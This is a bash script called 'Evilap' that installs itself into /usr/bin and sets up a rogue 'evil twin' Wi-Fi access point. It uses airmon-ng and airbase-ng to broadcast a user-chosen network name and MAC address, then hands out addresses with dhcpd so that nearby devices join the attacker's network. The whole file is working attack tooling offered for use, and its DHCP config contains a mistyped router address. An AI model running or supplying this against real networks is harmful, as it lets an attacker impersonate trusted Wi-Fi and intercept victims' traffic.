#!/bin/bash

version='1.1.2'

### Install script if not installed
if [ ! -e "/usr/bin/evilap" ];then
	clear
        echo -e "[ Installing Evilap-$version !... ]"
	sleep 5
                cp -v $0 /usr/bin/evilap
                chmod +x /usr/bin/evilap
	clear
	echo -e "[-] Evilap-$version should now be installed"
	sleep 2
	clear
	echo -e "[ Starting Evilap-$version !... ]"
	sleep 5
	clear
else
	clear
        echo -e "[ Starting Evilap-$version !... ]"
        sleep 5
	clear
fi
### End of install process

gateway=$(ip route show | awk '(NR == 2) {print $1}')
iface=$(ip route show | awk '(NR == 2) {print $3}')
lanip=$(ip route show | awk '(NR == 2) {print $9}')
pubip=$(curl -s checkip.dyndns.org|sed -e 's/.*Current IP Address: //' -e 's/<.*$//')
location=$(pwd)
xiface="wlan0"
miface="mon0"
chan="1-14"
essid="Network Name"
bssid="Netword MacAddr"

echo -e " Script by       : ardikars"
echo -e " Version         : \e[34m$version\e[0m "
echo -e " Evilap Location : \e[35m$location\e[0m"
echo
echo -e " RESPECT CODER"
echo
echo -e " Connection Info :----------------------------------------------------"
echo
echo -e " Gateway: \e[31m$gateway\e[0m    Interface: \e[32m$iface\e[0m    Local IP: \e[33m$lanip\e[0m    Public IP: \e[33m$pubip\e[0m "
echo

echo
echo -e "[ Creating DHCPD configuration file !... ]"

echo 'ddns-update-style none;' > /etc/dhcp/dhcpd.conf
echo 'default-lease-time 600;' >> /etc/dhcp/dhcpd.conf
echo 'max-lease-time 7200;' >> /etc/dhcp/dhcpd.conf
echo 'subnet 192.168.1.0 netmask 255.255.255.0 {' >> /etc/dhcp/dhcpd.conf
echo 'option subnet-mask 255.255.255.0;' >> /etc/dhcp/dhcpd.conf
echo 'option broadcast-address 192.168.1.255;' >> /etc/dhcp/dhcpd.conf
echo 'option routers 192.169.1.1;' >> /etc/dhcp/dhcpd.conf
echo 'option domain-name-servers 8.8.8.8;' >> /etc/dhcp/dhcpd.conf
echo 'range 192.168.1.100 192.168.1.110;}' >> /etc/dhcp/dhcpd.conf
sleep 2
echo -e "\e[36m[-] Success !... \e[0m"
echo

rfmon=$(airmon-ng | awk '{print$1}' | grep 0 | grep -v Interface |  sort -r | tail -1)

case $rfmon in
wlan[0])
{
	echo -e "[ Creating monitor mode interface !... ]"
	echo
	
	echo -e ">> Channel (\e[30m$chan\e[0m) : "
	read c
	
	gnome-terminal -e "airmon-ng start wlan0" &

	echo -e "\e[36m[-] Success !... \e[0m"
	echo

	echo -e "[ Creating Access Point !... ]"

	echo -e ">> ESSID (\e[30m$essid\e[0m) : "
	read e

	echo -e ">> BSSID (\e[30m$bssid\e[0m) : "
	read a

	echo -e ">> Monitor mode interface (\e[30m$miface\e[0m) : "
	read i

	gnome-terminal -e "airbase-ng --essid $e -c $c -a $a $i" &

	sleep 10

	echo -e "\e[36m[-] Success !... \e[0m"
	echo

	ifconfig at0 up

	ifconfig at0 192.168.1.1 netmask 255.255.255.0

	route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

	echo -e "[ Starting dhcpd !... ]"
	echo
	dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid     # service isc-dhcp-server restart

	sleep 2
	echo
	echo -e "\e[36m[-] Success !... \e[0m"
}
;;
mon[0])
{
	echo -e ">> Channel (\e[30m$chan\e[0m) : "
	read chnl

	echo -e "[ Creating Access Point !... ]"

	echo -e ">> ESSID (\e[30m$essid\e[0m) : "
	read e

	echo -e ">> BSSID (\e[30m$bssid\e[0m) : "
	read a

	echo -e ">> Monitor mode interface (\e[30m$miface\e[0m) : "
	read i

	gnome-terminal -e "airbase-ng --essid $e -c $chnl -a $a $i" &

	sleep 10

	echo -e "\e[36m[-] Success !... \e[0m"
	echo

	ifconfig at0 up

	ifconfig at0 192.168.1.1 netmask 255.255.255.0

	route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

	echo -e "[ Starting dhcpd !... ]"
	echo
	dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid     # service isc-dhcp-server restart

	sleep 2
	echo
	echo -e "\e[36m[-] Success !... \e[0m"

}
esac
